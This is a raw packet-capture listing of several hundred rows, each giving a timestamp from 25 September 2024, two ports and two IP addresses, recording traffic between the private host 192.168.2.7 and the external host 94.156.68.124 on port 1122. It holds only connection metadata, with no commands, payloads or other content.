Sep 25, 2024 01:11:11.101471901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101474047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101485014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101488113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101500034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101515055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101540089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.102201939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102214098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102227926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102238894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102251053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102260113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.102263927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102267027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.102277994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102291107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102302074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102313995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102323055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.102327108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102339029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102349997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102350950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.102365017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.102396965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.103167057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103180885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103193045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103204966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103216887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103228092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103229046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.103240013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103252888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103265047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103276014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103282928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.103287935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103296995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.103301048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103312969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103317022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.103327990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.103338003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.103396893 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104079962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104093075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104104996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104116917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104129076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104140043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104151964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104155064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104166031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104177952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104181051 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104192019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104202986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104213953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104214907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104227066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104247093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104247093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104278088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104319096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.104976892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.104990959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105001926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105015039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105026960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105031013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.105041027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105041981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.105053902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105067968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105074883 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.105081081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105093956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105104923 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.105104923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105118990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.105128050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.105159044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173091888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173126936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173140049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173188925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173202038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173206091 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173214912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173228025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173250914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173270941 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173374891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173388004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173401117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173413038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173414946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173438072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173618078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173630953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173641920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173654079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173666000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173670053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173690081 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173702955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173885107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173897028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173907995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173918962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173929930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.173933983 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.173959017 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186479092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186517000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186528921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186541080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186609983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186620951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186634064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186651945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186678886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186770916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186780930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186824083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186906099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186917067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186928034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186940908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186953068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186954975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186965942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.186966896 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.186985970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.187213898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187226057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187277079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.187355042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187366009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187376022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187400103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187411070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187436104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.187448025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.187448025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.187623024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187635899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187647104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187652111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187664032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187675953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.187688112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.187720060 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188020945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188039064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188049078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188059092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188069105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188080072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188086987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188091040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188103914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188117981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188127041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188128948 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188139915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188148975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188153982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188160896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188174009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188179016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188183069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188215971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188877106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188886881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188891888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188903093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188913107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188922882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188934088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188939095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188949108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188961029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188962936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188972950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188982010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188983917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.188992023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.188997984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189021111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189537048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189548969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189559937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189570904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189584970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189587116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189601898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189610958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189615965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189625025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189629078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189640999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189651966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189652920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189663887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189675093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189680099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189686060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189696074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189707994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.189712048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189737082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.189749956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.190567017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190578938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190591097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190603018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190614939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190619946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.190627098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190639019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190642118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.190650940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190663099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190675020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190676928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.190687895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190700054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190704107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.190711975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.190718889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.190732956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191488028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191499949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191510916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191520929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191530943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191540956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191545963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191553116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191555977 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191565990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191576958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191580057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191587925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191592932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191606045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191617012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191617966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191633940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191641092 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.191647053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.191674948 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.192286968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.192300081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.192311049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.192323923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.192333937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.192347050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.243372917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260031939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260066032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260076046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260119915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260132074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260145903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260159016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260185003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260198116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260334015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260345936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260385036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260438919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260451078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260591030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260607004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260621071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260632038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260632992 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260647058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260648012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260659933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260675907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260704994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.260981083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.260993958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.261007071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.261018038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.261029959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.261049986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.261065006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.261243105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.261255980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.261281967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273221970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273283005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273294926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273332119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273365021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273367882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273377895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273415089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273509026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273520947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273531914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273560047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273653984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273663998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273693085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273778915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273791075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273807049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273819923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273828030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273833036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.273853064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.273863077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274091005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274101973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274112940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274158001 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.274249077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274260998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.274272919 CEST	1122	49700	94.156.68.124	192.168.2.7
